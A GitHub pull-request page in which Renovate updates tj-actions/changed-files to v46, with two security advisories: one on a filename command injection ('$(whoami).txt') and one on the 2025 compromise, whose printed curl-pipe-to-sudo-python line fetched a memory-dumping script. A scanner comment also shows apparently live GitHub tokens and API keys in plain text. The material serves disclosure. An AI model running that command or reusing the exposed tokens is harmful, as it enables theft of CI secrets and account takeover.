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Update tj-actions/changed-files action to v46 [SECURITY] - #489

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Update tj-actions/changed-files action to v46 [SECURITY]#489
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ℹ️ Note

This PR body was truncated due to platform limits.

This PR contains the following updates:

Package Type Update Change
tj-actions/changed-files action major v35 → v46

Warning

Some dependencies could not be looked up. Check the Dependency Dashboard for more information.

tj-actions/changed-files has Potential Actions command injection in output filenames (GHSL-2023-271)

CVE-2023-51664 / GHSA-mcph-m25j-8j63

More information

Details

Summary

The tj-actions/changed-files workflow allows for command injection in changed filenames, allowing an attacker to execute arbitrary code and potentially leak secrets.

Details

The changed-files action returns a list of files changed in a commit or pull request which provides an escape_json input enabled by default, only escapes " for JSON values.

This could potentially allow filenames that contain special characters such as ; and ` (backtick) which can be used by an attacker to take over the GitHub Runner if the output value is used in a raw fashion (thus being directly replaced before execution) inside a run block. By running custom commands an attacker may be able to steal secrets such as GITHUB_TOKEN if triggered on other events than pull_request. For example on push.

Proof of Concept
  1. Submit a pull request to a repository with a new file injecting a command. For example $(whoami).txt which is a valid filename.
  2. Upon approval of the workflow (triggered by the pull request), the action will get executed and the malicious pull request filename will flow into the List all changed files step below.
      - name: List all changed files
        run: |
          for file in $; do
            echo "$file was changed"
          done

Example output:

##[group]Run for file in $(whoami).txt; do
    for file in $(whoami).txt; do
        echo "$file was changed"
    done
shell: /usr/bin/bash -e {0}

##[endgroup]
runner.txt was changed
Impact

This issue may lead to arbitrary command execution in the GitHub Runner.

Resolution

  • A new safe_output input would be enabled by default and return filename paths escaping special characters like ;, ` (backtick), $, (), etc for bash environments.

  • A safe recommendation of using environment variables to store unsafe outputs.

- name: List all changed files
  env:
    ALL_CHANGED_FILES: $
  run: |
    for file in "$ALL_CHANGED_FILES"; do
      echo "$file was changed"
    done
Resources

Severity

  • CVSS Score: 7.3 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

tj-actions changed-files through 45.0.7 allows remote attackers to discover secrets by reading actions logs.

CVE-2025-30066 / GHSA-mrrh-fwg8-r2c3

More information

Details

Summary

A supply chain attack compromised the tj-actions/changed-files GitHub Action, impacting over 23,000 repositories. Attackers retroactively modified multiple version tags to reference a malicious commit, exposing CI/CD secrets in workflow logs. The vulnerability existed between March 14 and March 15, 2025, and has since been mitigated. This poses a significant risk of unauthorized access to sensitive information.

This has been patched in v46.0.1.

Details

The attack involved modifying the tj-actions/changed-files GitHub Action to execute a malicious Python script. This script extracted secrets from the Runner Worker process memory and printed them in GitHub Actions logs, making them publicly accessible in repositories with public workflow logs.

Key Indicators of Compromise (IoC):
  • Malicious commit: 0e58ed8671d6b60d0890c21b07f8835ace038e67
  • Retroactively updated tags pointing to the malicious commit:
    • v1.0.0: 0e58ed8671d6b60d0890c21b07f8835ace038e67
    • v35.7.7-sec: 0e58ed8671d6b60d0890c21b07f8835ace038e67
    • v44.5.1: 0e58ed8671d6b60d0890c21b07f8835ace038e67
Malicious Code Execution:

The malicious script downloaded and executed a Python script that scanned memory for secrets, base64-encoded them, and logged them in the build logs:

B64_BLOB=`curl -sSf https://gist.githubusercontent.com/nikitastupin/30e525b776c409e03c2d6f328f254965/raw/memdump.py | sudo python3`

This script targeted the Runner Worker process, extracting and exfiltrating its memory contents.

Proof of Concept (PoC)
Steps to Reproduce:
  1. Create a GitHub Actions workflow using the tj-actions/changed-files action:
name: "tj-action changed-files incident"
on:
  pull_request:
    branches:
      - main
jobs:
  changed_files:
    runs-on: ubuntu-latest
    steps:
      - name: Get changed files
        id: changed-files
        uses: tj-actions/changed-files@0e58ed8671d6b60d0890c21b07f8835ace038e67
  1. Run the workflow and inspect the logs in the Actions tab.
  2. Vulnerable workflows may display secrets in the logs.
Detection:

Analyze network traffic using Harden-Runner, which detects unauthorized outbound requests to:

  • gist.githubusercontent.com

Live reproduction logs:
🔗 Harden-Runner Insights

This attack was detected by StepSecurity when anomaly detection flagged an unauthorized outbound network call to gist.githubusercontent.com.

Duration of Vulnerability

The vulnerability was active between March 14 and March 15, 2025.

Action Required

  1. Review your workflows executed between March 14 and March 15:

    • Check the changed-files section for unexpected output.
    • Decode suspicious output using the following command: 
      echo 'xxx' | base64 -d | base64 -d
    • If the output contains sensitive information (e.g., tokens or secrets), revoke and rotate those secrets immediately.

  2. Update workflows referencing the compromised commit:

    • If your workflows reference the malicious commit directly by its SHA, update them immediately to avoid using the compromised version.

  3. Tagged versions:

    • If you are using tagged versions (e.g., v35, v44.5.1), no action is required as these tags have been updated and are now safe to use.

  4. Rotate potentially exposed secrets:

    • As a precaution, rotate any secrets that may have been exposed during this timeframe to ensure the continued security of your workflows.
Impact
  • Type of vulnerability: Supply chain attack, Secrets exposure, Information leakage
  • Who is impacted:
    • Over 23,000 repositories using tj-actions/changed-files.
    • Organizations with public repositories are at the highest risk, as their logs may already be compromised.
  • Potential consequences:
    • Theft of CI/CD secrets (API keys, cloud credentials, SSH keys).
    • Unauthorized access to source code, infrastructure, and production environments.
    • Credential leaks in public repositories, enabling further supply chain attacks.

Severity

  • CVSS Score: 8.6 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N/E:H

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

Release Notes

tj-actions/changed-files (tj-actions/changed-files)

v46.0.1

Compare Source

🐛 Bug Fixes

  • Update log message when attempting to locate merge base (#​2493) (a5cad85) - (Tonye Jack)

➕ Add

🔄 Update

Co-authored-by: github-actions[bot] <41898282+github-actions[bot]@​users.noreply.github.com> (9cc867c) - (github-actions[bot])

Co-authored-by: github-actions[bot] <41898282+github-actions[bot]@​users.noreply.github.com> (f2f439b) - (github-actions[bot])

Co-authored-by: github-actions[bot] <41898282+github-actions[bot]@​users.noreply.github.com> (531f5f7) - (github-actions[bot])

Co-authored-by: github-actions[bot] <41898282+github-actions[bot]@​users.noreply.github.com> (9237eb7) - (github-actions[bot])

📚 Documentation

⚙️ Miscellaneous Tasks

  • Update sync-release-version.yml to use commit hash for tags in docs (#​2497) (a530a27) - (Tonye Jack)
  • deps: Bump actions/setup-node from 4.2.0 to 4.3.0 (#​2484) (0b975f6) - (dependabot[bot])

⬆️ Upgrades

Co-authored-by: github-actions[bot] <41898282+github-actions[bot]@​users.noreply.github.com> (45fb12d) - (github-actions[bot])

v46.0.0

Compare Source

[!WARNING]
Security Alert: A critical security issue was identified in this action due to a compromised commit.

This commit has been removed from all tags and branches, and necessary measures have been implemented to prevent similar issues in the future.

Action Required:

  • Review your workflows executed between March 14 and March 15. If you notice unexpected output under the changed-files section, decode it using the following command: echo 'xxx' | base64 -d | base64 -d
    If the output contains sensitive information (e.g., tokens or secrets), revoke and rotate those secrets immediately.
  • If your workflows reference this commit directly by its SHA, you must update them immediately to avoid using the compromised version.
  • If you are using tagged versions (e.g., v35, v44.5.1), no action is required as these tags have been updated and are now safe to use.

Additionally, as a precaution, we recommend rotating any secrets that may have been exposed during this timeframe to ensure the continued security of your workflows.

What's Changed
New Contributors

Full Changelog: tj-actions/changed-files@v45.0.5...v46.0.0

What's Changed

Full Changelog: tj-actions/changed-files@v45.0.5...v46.0.0

v46

Compare Source

🚀 Features

➖ Remove

🔄 Update

Co-authored-by: github-actions[bot] <41898282+github-actions[bot]@​users.noreply.github.com> (3dbc1e1) - (github-actions[bot])

Co-authored-by: github-actions[bot] <41898282+github-actions[bot]@​users.noreply.github.com> (b1ccff8) - (github-actions[bot])

Co-authored-by: github-actions[bot] <41898282+github-actions[bot]@​users.noreply.github.com> (050a3d3) - (github-actions[bot])

📚 Documentation

  • Update link to glob patterns (#​2590) (a892f50) - (Tonye Jack)
  • Add Jellyfrog as a contributor for code, and doc (#​2573) (f000a9b) - (allcontributors[bot])

🧪 Testing

⚙️ Miscellaneous Tasks

⬆️ Upgrades

Co-authored-by: github-actions[bot] <41898282+github-actions[bot]@​users.noreply.github.com> (db731a1) - (github-actions[bot])

v45.0.9

Compare Source

What's Changed

✂ Note

PR body was truncated to here.

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♻ Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.

  • If you want to rebase/retry this PR, check this box

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Project Deployment Actions Updated (UTC)
refactored-memory Error Error Apr 27, 2026 11:15pm
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@guardrails

guardrails Bot commented Feb 27, 2026 •
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⚠️ We detected 18 security issues in this pull request:

Mode: paranoid | Total findings: 18 | Considered vulnerability: 18

Hard-Coded Secrets (16)
Severity Details Docs
Medium Title: Hex High Entropy String
https://github.com/ah-ha-admin/refactored-memory/blob/0724cf3da6face0636d9bd7c5eccbd74104be53f/##SomeNotes#L533		 📚
Medium Title: Hex High Entropy String

refactored-memory/AndroidManifest.xml

Line 6 in 0724cf3

android:value="85f50898a1464d76bc44963336a8a5ec" />
📚
Medium Title: New GitHub Token Format

refactored-memory/.github/Sexflixxxvip00/nuget.config

Line 10 in 0724cf3

<add key="ClearTextPassword" value="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" />
📚
Medium Title: New GitHub Token Format

refactored-memory/.github/action.yml

Line 16 in 0724cf3

token: ${{ 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 }}
📚
Medium Title: New GitHub Token Format

refactored-memory/.github/nuget.config

Line 10 in 0724cf3

<add key="ClearTextPassword" value="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" />
📚
Medium Title: New GitHub Token Format

refactored-memory/.github/workflows/action.yml

Line 490 in 0724cf3

token: ${{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}}
📚
Medium Title: New GitHub Token Format

refactored-memory/.github/workflows/action.yml

Line 509 in 0724cf3

"oidc_token": "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"
📚
Medium Title: Github Key

refactored-memory/.github/workflows/checkmarx.yml

Line 41 in 0724cf3

uses: checkmarx-ts/checkmarx-cxflow-github-action@a19b2581e254dc326aeb3bb34f06348f45de5ccd
📚
Medium Title: Netlify API Key

refactored-memory/.github/workflows/jekyll-pages.yml

Line 44 in 0724cf3

url: ${{https://graph.netlify.com/graphql?app_id=f7001b21-8900-461e-9595-9e9fe7c0ab59}}
📚
Medium Title: New GitHub Token Format

refactored-memory/.github/workflows/nuget.config

Line 10 in 0724cf3

<add key="ClearTextPassword" value="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" />
📚
Medium Title: Github Key

refactored-memory/.github/workflows/soos-dast-scan.yml

Line 37 in 0724cf3

uses: soos-io/soos-dast-github-action@98033e0e7fa4af5eee1a56f73d8fc1367294b4c8 # Use latest version from https://github.com/marketplace/actions/soos-dast
📚
Medium Title: StackHawk API Key

refactored-memory/.github/workflows/stackhawk.yml

Line 1 in 0724cf3

# -- stackhawk configuration for hawk.Pef2X0hP8ryJcWfE23Mt.g1vMt73kbxSNZrRdCazs --
📚
Medium Title: New GitHub Token Format

refactored-memory/.github/workflows/stackhawk.yml

Line 82 in 0724cf3

githubToken: ${{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}}
📚
Medium Title: StackHawk API Key

refactored-memory/.github/workflows/stackhawk.yml

Line 93 in 0724cf3

# -- stackhawk configuration for hawk.Pef2X0hP8ryJcWfE23Mt.g1vMt73kbxSNZrRdCazs --
📚
Medium Title: New GitHub Token Format

refactored-memory/.github/workflows/static.yml

Line 9 in 0724cf3

token: ${{ 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 }}
📚
Medium Title: New GitHub Token Format

refactored-memory/nuget.config

Line 10 in 0724cf3

<addkey="ClearTextPassword"value="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"/>
📚

More info on how to fix Hard-Coded Secrets in General.

Insecure Use of Dangerous Function (2)
Severity Details Docs
High Title: Non-static OS command execution

refactored-memory/.github/workflows/setup.rb

Line 16 in 0724cf3

exec(*cmd)
📚
High Title: Non-static OS command execution

refactored-memory/setup.rb

Line 16 in 0724cf3

exec(*cmd)
📚

More info on how to fix Insecure Use of Dangerous Function in Ruby.

👉 Go to the dashboard for detailed results.

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@renovate renovate Bot changed the title Update tj-actions/changed-files action to v46 [SECURITY] Update tj-actions/changed-files action to v46 [SECURITY] - autoclosed Mar 27, 2026
@renovate renovate Bot closed this Mar 27, 2026
@renovate
renovate Bot deleted the renovate/github-tags-tj-actions-changed-files-vulnerability branch March 27, 2026 02:03
@renovate renovate Bot changed the title Update tj-actions/changed-files action to v46 [SECURITY] - autoclosed Update tj-actions/changed-files action to v46 [SECURITY] Mar 30, 2026
@renovate renovate Bot reopened this Mar 30, 2026
@renovate
renovate Bot force-pushed the renovate/github-tags-tj-actions-changed-files-vulnerability branch 2 times, most recently from 8caea76 to cfd1082 Compare March 30, 2026 20:33
@renovate renovate Bot changed the title Update tj-actions/changed-files action to v46 [SECURITY] Update tj-actions/changed-files action to v46 [SECURITY] - autoclosed Apr 27, 2026
@renovate renovate Bot closed this Apr 27, 2026
@renovate renovate Bot changed the title Update tj-actions/changed-files action to v46 [SECURITY] - autoclosed Update tj-actions/changed-files action to v46 [SECURITY] Apr 27, 2026
@renovate renovate Bot reopened this Apr 27, 2026
@renovate
renovate Bot force-pushed the renovate/github-tags-tj-actions-changed-files-vulnerability branch 2 times, most recently from cfd1082 to 0724cf3 Compare April 27, 2026 23:15
@codacy-production

codacy-production Bot commented Apr 27, 2026

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Up to standards ✅

🟢 Issues 0 issues

Results:
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